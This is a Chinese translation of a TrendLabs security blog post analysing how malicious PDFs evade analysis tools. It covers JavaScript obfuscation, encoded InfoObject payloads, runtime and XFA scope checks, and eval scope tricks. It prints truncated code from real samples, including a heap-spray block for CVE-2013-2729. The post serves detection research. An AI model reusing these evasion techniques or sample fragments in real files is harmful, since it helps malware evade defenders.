惡意 PDF 分析迴避技術簡介

原文出處：TrendLabs Security Intelligence Blog

http://blog.trendmicro.com/trendlabs-security-intelligence/malicious-pdf-analysis-evasion-techniques/

在許多的漏洞利用工具包，惡意 PDF 文件是用來嘗試感染使用者的各種惡意檔案中，一些最常見的威脅。自然地，安全公司投注努力以正確地檢測這些文件—而他們的創造者則努力的規避這些公司的努力。

利用主動式雲端截毒技術提供的反饋意見，我們今天考察了幾種常用的 PDF 漏洞技術。這些技術將在這篇部落格文章中介紹。這些相關的知識技術會用於改善趨勢科技的檢測漏洞能力。

常見的 JavaScript 迴避技術

大多數的 PDF 漏洞使用某種形式的嵌入式 JavaScript。正因為如此，普通的 JavaScript 規避和模糊處理技術在這裡都有效。例如，字串替換，try-catch 例外處理，fromCharCode()循環在 PDF 內都是有效的。

下列程式碼片段展示了這些技術的使用：

```
function check_s(d, x, y) {
  if (d == 11) return x["charAt"](y);
}
function dokf(s, x, y) {
  pl = app.platform;
  s = s + (xfa.form.suu.name.charCodeAt(0) - 115);
  return check_s(s, x, y);
}
function operate(n) {
  d = "@@@@@@@@@@t@@@@@@@".replace(/@/gi, "") + "h@@@@@i@@@@@@@@s".replace(/@/gi, "");
  return d[n];
}
// shorten encoded content here
sdfghdjf0 = "vy0ay0ry0 y0ey0fy0wy0dyy0oy0dy0ey0...y0ry0ey0ty0;y0 y0}y0 y0 y0 y0}y0 y0}y0";
try {
  addwelert("We53545345341co!");
} catch (err) { /*81273897123612361253128321312471232132131123*/
  kkkkkkkkkkkk = "";
  sdfghdjf8888 = sdfghdjf0;
  dsg66fh = sdfghdjf8888.length;
  for (i = (xfa.form.suu.name.charCodeAt(0) - 115); i < (dsg66fh); i += 3) {
    i = i + xfa.form.suu.name.charCodeAt(0) - 115;
    kkkkkkkkkkkk += dokf(11, sdfghdjf0, i);
  }
  pl = app.platform;
  strfn = String.fromCharCode(pl.charCodeAt(0) + 0xE, pl.charCodeAt(1) + 0x2D, pl.charCodeA
  he5llo = operate(strfn);
  he5llo(kkkkkkkkkkkk);
}
```

圖 1。常見的 JavaScript 規避/混淆技術的使用 CVE-2010-0188.

編碼的內容和 InfoObject 內的函數名稱

此類的模糊處理可以保存加密的程式碼進入部分 InfoObject（像是標題，主旨，創造者等等）JavaScript 可被用來提取和解析加密的惡意程式碼。在此範例中，在 InfoObject 的標題/創造者欄位是非常奇怪的。‘創造者’欄位是一個很長的字母數字字串，又內嵌了很多的驚嘆號。

```
    /Title(#^@%!%#@$#@%#@%#)
    /Creator(%#^&*%^#@&%#@3J!448481K3J!0443N4A4C!5293N4E3N!2464C1K4C!
63J4A3P3N!24C1K3L4A!63N3J4C47!14A1K4B48!744414C1E!21D4K1D1F!43D1N3F1K!
64A3N4844!23J3L3N1E!81L271L3P!91I1D1D1F!7274E3J4A!916483J3M!53M41463P!
0274E3J4A!5163K3K3K!11I163L3L!63L1I163M!93M3M1I16!63N3N3N1I!6163O3O3O!
51I163P3P!03P1I1640!54040274E!23J4A1648!04741464C!53N4A4B3H!63J1I1641!
0274E3J4A!0164G1629!816463N4F!9162D4A4A!43J4H1E1F!4274E3J4A!0164H1629!
316463N4F!9162D4A4A!63J4H1E1F!9274E3J4A!1163H441N!72918203L!01O1M221M!
91M3O1M21!61N23241M!5203J1P3L!91O1M221M!31M3O1M3O!8221P241M!8203J3J1P!
23N3K241M!4203J1P1M!61O1M241O!0203J223N!51O3O241M!3203J201N!2201N201N!
7201N1O22!81M1M1M1M!81M1M1M1M!71M1M1M1M!11M1M1M1M!91M1M1M1M!81M1M1M1M!
71M1M1M1M!51M1M1N1O!91P25241M!1203J2220!41O1M221M!51M3O1M1M!01M201M1M!
81M1M201N!2201N201N!1201N201N!9201N201N!0201N181H!83N4E3N46!04C1K4C3J!
```

圖 2。InfoObject 內的編碼的內容 CVE-2010-0188.

針對 JavaScript 的執行時間

這種的特殊規避類型是為了避開分析工具。在 PDF 文件中執行 JavaScript 需要一個特殊的執行時間程式庫。這個程式庫是 Adobe Reader 中的一部分，但大多數分析工具並不包含它。當惡意程式發現有部分的函式無法定義，或是有不正確的活動，惡意程式碼就不會被解密。

函式可以被用在此處，包括檢查該文件的文件大小，及檢查應用程式的版本。

在下面的例子中，app.endPriv 會進行檢查，且如果它沒有正確地定義，最後沒有惡意程式碼會被執行。

```
<xfa:script contentType='application/x-javascript'>
with(event){
l="l";
ev=/*ewbwf*/"eva"/*/renyaerz*/;
t=target;
aa=/*etweew*/'co'+'de]';
ev+=l;
if(app.endPriv+"asd").substr(0,4)=='func'){k=t[ev];
a=/**/t["subject"].split('|')[0].substr(13);}
}
s="";
p=parseInt;
```

圖 3。特定函式檢查.

欄位屬性和範圍函式

一些惡意軟體使用 XML 表單架構(XFA)內的欄位屬性做條件檢查。像上面的情況，這些範圍函式並沒有被分析工具正確地“實作”。如果目標對象和函數無法被找到（在這個案例裡，ImageFiled1 物件和 ZZA 函式），再一次的，惡意程式碼將不會被執行。

在其他情況下，屬性(例如寬度和高度)可以被替代使用。

```
<template><subform name="form1"><pageSet><pageArea><contentArea h="
w="8in" x="0.25in" y="0.25in"></contentArea><medium long="11in"
short="8.5in" stock="letter"></medium></pageArea></pageSet><field
h="98.425mm" name="ImageField1" w="28.575mm" x="95.25mm" y="19.05mm
<imageEdit></imageEdit></ui><event activity="initialize">
<script contentType='application/x-javascript'>
if(ImageField1.ZZA(321,513613,"a")===0){z=this;zz="y";}
dd="Code";
ddd="ar";
s="ntdhfePJxTmlNo#hFpx!ZeA*yvv#@yiODshOxsTLbKSJljyjNibt3tb23t";
x='eI';
xx="v"+'al';
function ZZA(){return 0;}
function ZA(a){return z["\x65"+xx]("\x70ar"+"s"+x+s[0]+s[1])(a,26);
a=[ZA(A='4'+'E'),ZA(A='3'+'J'),ZA(A='4'+'A'),ZA(A='1'+'6'),ZA(A='4'
(A='3'+'J'),ZA(A='3'+'M'),ZA(A='3'+'M'),ZA(A='4'+'1'),ZA(A='4'+'6')
(A='3'+'P'),ZA(A='2'+'7'),ZA(A='4'+'E'),ZA(A='3'+'J'),ZA(A='4'+'A')
(A='1'+'6'),ZA(A='3'+'K'),ZA(A='3'+'K'),ZA(A='3'+'K'),ZA(A='1'+'I')
```

圖 4。欄位屬性和範圍函式.

名稱空間控制

在這一年，我們看到了一個新的漏洞(CVE-2013-2729)，搭配新的規避技術。

我們看到，JavaScript 程式碼在不同的名稱空間(由 name 屬性控制)工作。

分析工具對這種方法也有困難。在這個特殊的片段，我們看到，有兩個不同的物件— util 與 spray，以及函式和變數如何在這兩個命名空間使用。

```
<script name="util" contentType="application/x-javascript">
   // Convenience functions to pack and unpack litle endian an ut
   function pack(i){
        var low = (i &amp; 0xffff);
        var high = ((i&gt;&gt;16) &amp; 0xffff);
        return String.fromCharCode(low)+String.fromCharCode(high);
   }
   function unpackAt(s, pos){
        return  s.charCodeAt(pos) + (s.charCodeAt(pos+1)&lt;&lt;16
   }
   function packs(s){
        result = "";
        for (i=0;i&lt;s.length;i+=2)
            result += String.fromCharCode(s.charCodeAt(i) + (s.cha
            return result;
        }


<script name="spray" contentType="application/x-javascript">
   // Global variable for spraying
   var slide_size=0x12c;
   var size = 200;
   var chunkx = "\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f";
   var x = new Array(size);
   var y = new Array(size);
   var z = new Array(size);
   var pointers = new Array(100);
   var done = 0;
</script>
```

```
<script name="spray" contentType="application/x-javascript">
   // Global variable for spraying
   var slide_size=0x12c;
   var size = 200;
   var chunkx = "\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4
f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f\u4f4f";
   var x = new Array(size);
   var y = new Array(size);
   var z = new Array(size);
   var pointers = new Array(100);
   var done = 0;
</script>
```

圖 5~7。命名空間與使用變數.

eval 函式的變數範圍變更

這種類型的規避方法是基於對某些 PDF JavaScript 引擎的細節。考慮將下列程式碼片段：

(function(){var v = "inner"; e=eval; e("alert(v)"); })();

上面的程式碼功能在 Adobe Reader 中正確；“inner”程式碼被執行。但在其他的 JavaScript 引擎，這個可能無法正常工作，而且取而代之的是回傳一個錯誤。這可以阻止惡意程式碼分析。

結論

我們相信，這些規避方法—像是檢查 JavaScript 的執行時間，以及改變變數的作用域—將被在未來更廣泛地使用。這些代表了規避偵測的網絡犯罪者的最新企圖。

趨勢科技現有的網頁信譽評等服務偵測並阻止使用這些技術的網站。

如上所述的特定樣本也被檢測為：TROJ_PIDIEF.ERP TROJ_PIDIEF.ERQ，TROJ_PIDIEF.SMAL，TROJ_PIDIEF.SMAP。